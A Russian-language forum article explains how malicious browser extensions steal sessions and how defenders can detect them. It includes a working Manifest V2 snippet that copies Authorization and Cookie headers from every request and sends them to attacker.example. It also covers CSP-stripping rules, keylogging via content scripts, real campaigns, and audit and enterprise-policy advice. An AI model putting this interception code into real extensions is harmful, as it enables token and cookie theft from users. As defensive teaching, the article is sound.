Вы устанавливаете расширение-переводчик в Chrome. Оно честно переводит страницы. А в фоне - стягивает каждый Authorization-заголовок и сливает ваш Bearer-токен на сервер атакующего через обычный
fetch(). Никакого эксплойта, никакого 0-day. Расширение просто пользуется API, который браузер ему сам отдал на блюдечке.Я разбираю вредоносные расширения профессионально: пишу PoC-расширения, злоупотребляющие
webRequest для перехвата куков и заголовков, препарирую реальные семплы из Chrome Web Store через Burp Suite и mitmproxy. Покажу, как именно работает перехват трафика браузерным расширением на уровне кода - от webRequest в Manifest V2 до declarativeNetRequest в Manifest V3 - и почему переход на MV3 не закрыл ключевые векторы. Спойлер: проблема фундаментальнее, чем Google хочет признать.Почему вредоносные расширения браузера - идеальный вектор атаки
Браузерные расширения сидят в уникальной позиции: работают внутри браузера, но с привилегиями, недоступными обычным веб-страницам. Расширение с правом<all_urls> видит содержимое каждой страницы - интернет-банк, корпоративный портал, почта. Всё как на ладони.Согласно исследованию на arxiv.org ("A Study on Malicious Browser Extensions in 2025"), вредоносные расширения (MBE) используются для фишинга, кейлоггинга, шпионажа, кражи данных и перехвата сессий. Исследователи успешно обошли механизмы безопасности Firefox и Chrome, показав, что вредоносные расширения по-прежнему можно разработать, опубликовать и запустить через официальные магазины. Модерация в обоих - дырявое решето.
По данным Chromium Blog, среди вредоносных расширений, обнаруженных с января 2018 года, 42% злоупотребляли блокирующим режимом webRequest для модификации трафика. При этом пользователи воспринимают расширения как безопасные - они же из официального магазина. Как метко замечают в Kaspersky: «если исполняемых файлов из непроверенных источников многие уже привыкли опасаться, то от браузерных расширений, загруженных из официального магазина, обычно никто не ждет подвоха».
В терминологии MITRE ATT&CK установка вредоносного расширения - это техника Browser Extensions (T1176.001, Persistence). Расширение может прилететь через вредоносную загрузку из магазина, через социальную инженерию или от злоумышленника, уже получившего доступ к системе. После установки - устойчивый доступ к жертве, который переживает перезагрузку и обновления браузера.
webRequest API: как расширения Chrome читают трафик целиком
chrome.webRequest - API, который позволяет расширению наблюдать за каждым HTTP/HTTPS-запросом и модифицировать его до отправки или после получения ответа. Когда расширение вешает обработчик на onBeforeSendHeaders, Chrome передаёт ему полные заголовки запроса: Cookie, Authorization, X-CSRF-Token - всё, что нужно для угона сессии.Технически процесс простой: браузер формирует запрос, но перед отправкой на сервер отдаёт все данные расширению. URL, метод, заголовки - на, держи, делай что хочешь. Расширение может пропустить запрос, заблокировать, подменить заголовки или тупо скопировать токены и слить их к себе.
Как объясняет Chromium Blog: «Chrome sends all the data in a network request to the listening extension - including any sensitive data contained in that request like personal photos or emails. The extension has a chance to evaluate the request, and then tells Chrome what to do with the request: allow it, block it, or send it with some modifications».
Перехват Authorization-заголовков и сессионных cookie
Минимальный перехватчик вbackground.js расширения Manifest V2, который крадёт Bearer-токены. Chrome завершил поэтапный отказ от MV2 в 2024–2025 - этот PoC работает только в legacy-окружениях, через enterprise force-install или в браузерах, всё ещё поддерживающих MV2 (Firefox, привет). В MV3 наблюдательный webRequest работает без "blocking", но тоже требует разрешения webRequest:
JavaScript:
chrome.webRequest.onBeforeSendHeaders.addListener(
function(details) {
let dominated = details.requestHeaders;
for (let h of dominated) {
if (h.name === "Authorization" || h.name === "Cookie") {
fetch("https://attacker.example/collect", {
method: "POST",
body: JSON.stringify({url: details.url, header: h.value})
});
}
}
return {requestHeaders: dominated};
},
{urls: ["<all_urls>"]},
["requestHeaders", "blocking"]
);onBeforeSendHeaders срабатывает для каждого запроса. Фильтр {urls: ["<all_urls>"]} - перехват всего трафика без исключений. Флаг "blocking" даёт синхронный доступ к заголовкам до отправки. Внутри обработчика код перебирает заголовки, находит Authorization (Bearer-токен для API) и Cookie (сессионные куки), после чего сливает их на сервер атакующего обычным fetch(). Одиннадцать строк - и у атакующего ваша сессия.Жертва не увидит ничего. Страницы грузятся нормально, запросы уходят без задержки, в DevTools - тишина. Расширение работает на уровне, к которому обычные инструменты разработчика имеют ограниченный доступ.
В терминах MITRE ATT&CK этот паттерн покрывает сразу несколько техник: Steal Web Session Cookie (T1539, Credential Access) - кража сессионных куков, и Browser Session Hijacking (T1185, Collection) - перехват активных веб-сессий. Если токен - это TOTP-seed или 2FA-код, как в случае с расширением CL Suite, обнаруженным Socket (по данным The Hacker News), атакующий получает полный доступ к аккаунту. Двухфакторка не спасает - расширение сидит внутри периметра доверия.
Эксфильтрация данных через стандартные веб-протоколы
Обратите внимание: данные утекают не через какой-то скрытый канал, а через обычный HTTPS POST. Это техники Exfiltration Over C2 Channel (T1041, Exfiltration) и Web Protocols (T1071.001, Command and Control) по MITRE ATT&CK. Трафик к серверу атакующего выглядит как обычный запрос к веб-сайту - попробуй отличи от легитимного, особенно если C2-сервер сидит на домене.com или .pro. В кейсе CL Suite данные уходили на getauth[.]pro, а оттуда дублировались в Telegram-канал атакующего. Удобно, да?declarativeNetRequest в Manifest V3: ложное чувство безопасности
Google представил Manifest V3 иdeclarativeNetRequest как замену webRequest, позиционируя переход как шаг к безопасности. Идея: вместо того чтобы передавать расширению все данные запроса, расширение заранее регистрирует правила - «если URL соответствует паттерну, выполни действие». Браузер применяет правила сам, без передачи данных расширению.На бумаге звучит красиво. На практике - другая история.
Почему Manifest V3 не закрыл все векторы перехвата
Первый момент, и он критический: наблюдающая (observational) часть webRequest API никуда не делась. Как отметили на Hacker News: «The privacy arguments are untrue because the Observational capabilities of the WebRequest API aren't being deprecated». Расширение в MV3 по-прежнему наблюдает за сетевыми запросами - теряет только возможность блокировки. Но для кражи данных блокировка и не нужна. Достаточно посмотреть.Второй момент:
declarativeNetRequest сам по себе - отличный инструмент для атаки. По данным Computerra, «пять расширений использовали легитимный API Chrome (declarativeNetRequest) для удаления заголовков безопасности еще до загрузки страниц». Что это значит на практике? Расширение регистрирует правило, которое убирает Content-Security-Policy, X-Frame-Options или Strict-Transport-Security из ответов серверов. Страница остаётся голой - уязвимой к XSS, clickjacking и MITM-downgrade атакам, которые в нормальных условиях браузер бы зарубил.Правило для удаления CSP - JSON-объект в файле правил:
action: "modifyHeaders", целевой заголовок Content-Security-Policy, операция remove. Для modifyHeaders нужны host_permissions на целевой домен. Правило лежит в rules.json и формально анализируется при review в Chrome Web Store - но автоматические проверки CWS исторически пропускали такие правила, как показали исследования SquareX и Koi Security. На словах «контроль», а по факту — заходи кто хочет.Третий момент: DEF CON 32. Согласно arxiv.org-исследованию, команда SquareX показала, что даже в рамках Manifest V3 вредоносные расширения обходят защитные меры, крадут live-стримы, куки и учётные данные. MV3 усложнил некоторые атаки, но фундаментальную проблему не решил: расширения по-прежнему наследуют разрешения браузера и имеют доступ к контенту страниц. У меня складывется ощущение, что MV3 - это скорее PR-ход, чем реальная мера безопасности.
Content Script Injection: man-in-the-browser изнутри страницы
Перехват трафика - не единственный вектор. Content scripts инжектируются прямо в DOM загруженной страницы и выполняются в контексте её origin. Классический man-in-the-browser, где расширение - шпион внутри каждой вкладки.Кейлоггинг и перехват форм через DOM
Content script вешаетaddEventListener("keydown", ...) на document и записывает каждое нажатие клавиши. Техника Keylogging (T1056.001, Collection / Credential Access) по MITRE ATT&CK. Исследователи из arxiv.org-работы продемонстрировали рабочий кейлоггер в расширении - записывал все нажатия и отправлял на удалённый сервер.Но профессиональные MBE работают хитрее. Вместо глобального кейлоггинга они бьют точечно: находят в DOM элементы
input[type="password"], input[name="email"], формы авторизации OAuth - и перехватывают значения в момент отправки формы. Минимум трафика, максимум результата, и детектировать это на порядок сложнее.Пример из реальной кампании: расширение CL Suite (по данным The Hacker News) маскировалось под инструмент для работы с Meta Business Suite. Оно не перехватывало пароли, но тянуло TOTP-seed (секрет для генерации одноразовых паролей), CSV-экспорты контактных списков Business Manager и аналитику - всё через content script, работающий на
meta.com и facebook.com.Ещё один вектор: расширение может подменять содержимое страницы. Исследователи arxiv.org показали расширение, которое меняло контент - например, подставляло адреса кошельков атакующего в формы перевода криптовалюты. Формально это не перехват трафика, но результат тот же - деньги жертвы уходят не туда.
Реальные кампании 2025–2026: масштаб и техники
Теория - это хорошо, но реальные кейсы убеждают лучше. Три крупные кампании последних месяцев, каждая - с уникальным техническим подходом.Кампания VK Styles: 500 000 угнанных аккаунтов
По данным The Hacker News, около 500 000 пользователей ВКонтакте были скомпрометированы через Chrome-расширения, маскировавшиеся под инструменты кастомизации VK. Расширения автоматически подписывали жертв на группы атакующего, сбрасывали настройки аккаунта каждые 30 дней, манипулировали CSRF-токенами для обхода защиты VK и поддерживали персистентный контроль.Технически интересен механизм управления: расширения использовали HTML-метатеги профиля VK (
vk[.]com/m0nda) как dead drop resolver - прятали URL следующей стадии пейлоада в метаданных обычного профиля соцсети. Обфусцированный JavaScript хостился в публичном GitHub-репозитории с 17 коммитами между июнем 2025 и январём 2026. Как отметил исследователь Ariel Cohen из Koi Security: «это не небрежная малварь, это поддерживаемый софтверный проект с контролем версий». Согласен - тут чувствуется инженерный подход.Кампания AiFrame: 260 000 установок под видом AI-ассистентов
Кластер из 32 расширений, маскирующихся под AI-ассистенты (ChatGPT, Gemini, DeepSeek, Grok), обнаружен с совокупными 260 000 установок. По данным LayerX (через The Hacker News), расширения не реализовывали AI-функции локально, а встраивали удалённые iframe, управляемые сервером, и работали как привилегированные прокси - отдавали удалённой инфраструктуре доступ к чувствительным возможностям браузера. Красивый фантик «AI-помощника», а внутри - бэкдор.57 скрытых расширений с 6 миллионами пользователей
По данным Kaspersky, исследователь Джон Такнер обнаружил 57 подозрительных расширений, скрытых от индексирования в Chrome Web Store. Ключевой IoC - доменunknow[.]com (опечатка в «unknown» - уже должно насторожить), найденный в коде расширения Fire Shield Extension Protection. Расширения запрашивали доступ к Cookie (включая аутентификационные), могли внедрять скрипты на страницы и активировали расширенное отслеживание по команде с удалённого сервера. Причём отслеживание запускалось не сразу, а спустя время после установки - классический приём отложенной активации для обхода модерации. Сначала тихо, потом - карт-бланш.Маппинг полной цепочки атаки на MITRE ATT&CK
Вредоносное расширение - не одна техника, а полноценная цепочка. Вот как типичная MBE-атака раскладывается по тактикам MITRE ATT&CK:| Этап | Тактика | Техника ATT&CK | Пример в расширении |
|---|---|---|---|
| Установка | Persistence | Browser Extensions (T1176.001) | Публикация в Chrome Web Store под видом утилиты |
| Перехват ввода | Credential Access | Keylogging (T1056.001) | Content script с addEventListener на keydown |
| Кража сессий | Credential Access | Steal Web Session Cookie (T1539) | webRequest перехватывает Cookie-заголовки |
| Захват сессий | Collection | Browser Session Hijacking (T1185) | Извлечение Telegram-токенов каждые 15 секунд |
| Кража паролей | Credential Access | Credentials from Web Browsers (T1555.003) | Перехват полей input[type=password] через DOM |
| Эксфильтрация | Exfiltration | Exfiltration Over C2 Channel (T1041) | fetch() на attacker.example/collect |
| Управление | Command and Control | Web Protocols (T1071.001) | HTTPS POST к C2, дублирование в Telegram |
Как обнаружить и защититься от вредоносных расширений
От теории атак - к практике защиты. Три уровня: анализ расширений, мониторинг сети, организационные меры.Аудит manifest.json и permissions расширений
Первое - открытьmanifest.json. Заходим в chrome://extensions, включаем режим разработчика, смотрим путь к файлам расширения. В манифесте ищем:"<all_urls>"или"[I]://[/I]/*"- доступ ко всем сайтам. Для переводчика оправдано, для «гоночной игры» - нет"webRequest"и"webRequestBlocking"- прямой доступ к перехвату и модификации трафика"cookies"- чтение аутентификационных куков"declarativeNetRequest"в сочетании с правиламиmodifyHeaders- удаление заголовков безопасности"content_scripts"с"matches": ["<all_urls>"]- инъекция кода во все страницы
background.js (или service_worker в MV3). Ищем вызовы fetch() или XMLHttpRequest к доменам, не связанным с заявленной функцией расширения. Обфускация - красный флаг: atob(), eval(), конкатенация строк для формирования URL. Если видите atob("aHR0cHM6Ly...") - это кто-то прячет адрес C2.Мониторинг сетевой активности расширений
На уровне сети -mitmproxy или Wireshark для верификации утечек. Ставим подозрительное расширение в изолированный профиль Chrome, гоним трафик через mitmproxy -p 8080 (нужна установка CA-сертификата mitmproxy для расшифровки HTTPS) и смотрим исходящие запросы. Фильтруем по доменам, не входящим в ожидаемый scope.
Для корпоративной среды: Chrome Enterprise позволяет принудительно управлять расширениями через групповые политики. Политика
ExtensionSettings с installation_mode: blocked по умолчанию и явным allowlist по ID - более гранулярный подход, чем пара Allowlist/Blocklist. Учитывайте, что component-расширения Chrome и force-installed (через ExtensionInstallForcelist) не блокируются этими политиками. Вектор сужается существенно, но требует сопровождения списка.Что делать прямо сейчас
Практический чеклист для security-инженера:- Проведите инвентаризацию расширений на всех корпоративных устройствах. В Chrome автоматизируется через
chrome://policyи endpoint management. - Сверьте установленные расширения со списком известных вредоносных ID. Расширения из кампаний VK Styles (
ceibjdigmfbbgcpkkdpmjokkokklodmc,mflibpdjoodmoppignjhciadahapkochи др.) и AiFrame (nlhpidbjmmffhoogcennoiopekbiglbp,gcfianbpjcfkafpiadmheejkokcmdkjlи др.) - удалить немедленно. - После удаления подозрительного расширения - завершите все активные сессии в критичных сервисах (Telegram, почта, облачные консоли) и смените пароли. Не «когда-нибудь потом», а сейчас.
- Для Firefox: процесс аналогичен. Проверяем
manifest.jsonчерезabout:debugging#/runtime/this-firefox. - Внедрите мониторинг DNS-запросов от рабочих станций к нетипичным доменам - поможет обнаружить C2-коммуникации расширений.
Вопрос к читателям
В кампании VK Styles расширения использовали dead drop resolver через HTML-метатеги профиля VK для скрытия URL пейлоада, а AiFrame встраивала удалённые iframe как привилегированные прокси. У кого из вас в корпоративной политике Chrome настроенExtensionInstallBlocklist: * с явным allowlist? Какие конкретно ID расширений вы оставляете в белом списке - и проверяете ли вы их manifest.json на webRequest / declarativeNetRequest permissions при каждом обновлении? Покажите фрагмент вашей GPO или JSON-политики - интересно сравнить подходы.
Последнее редактирование модератором:
